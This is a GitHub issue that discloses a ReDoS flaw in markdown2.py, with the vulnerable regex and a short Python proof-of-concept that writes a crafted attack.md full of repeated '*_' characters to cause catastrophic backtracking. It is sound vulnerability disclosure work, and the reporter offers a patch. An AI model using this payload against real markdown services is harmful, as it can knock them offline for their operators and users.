Skip to content

A ReDoS vulnerability exists in markdown2.py #493

Description

@DarkTinia

The affected code is located in markdown2.py-line2251. It uses the vulnerable regular expression \*\*(?=\S)(.+?[*_]*)(?<=\S)\*\*. When the match fails, it will cause catastrophic backtracking.
I trigger the vulnerability using the python script below

import os
f = open('attack.md','a')
f.write('**_' + '*_'*38730*10 + '\x00')
f.close()
os.system("python markdown2.py attack.md")

I can provide you a patch to repair the ReDoS vulnerability

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions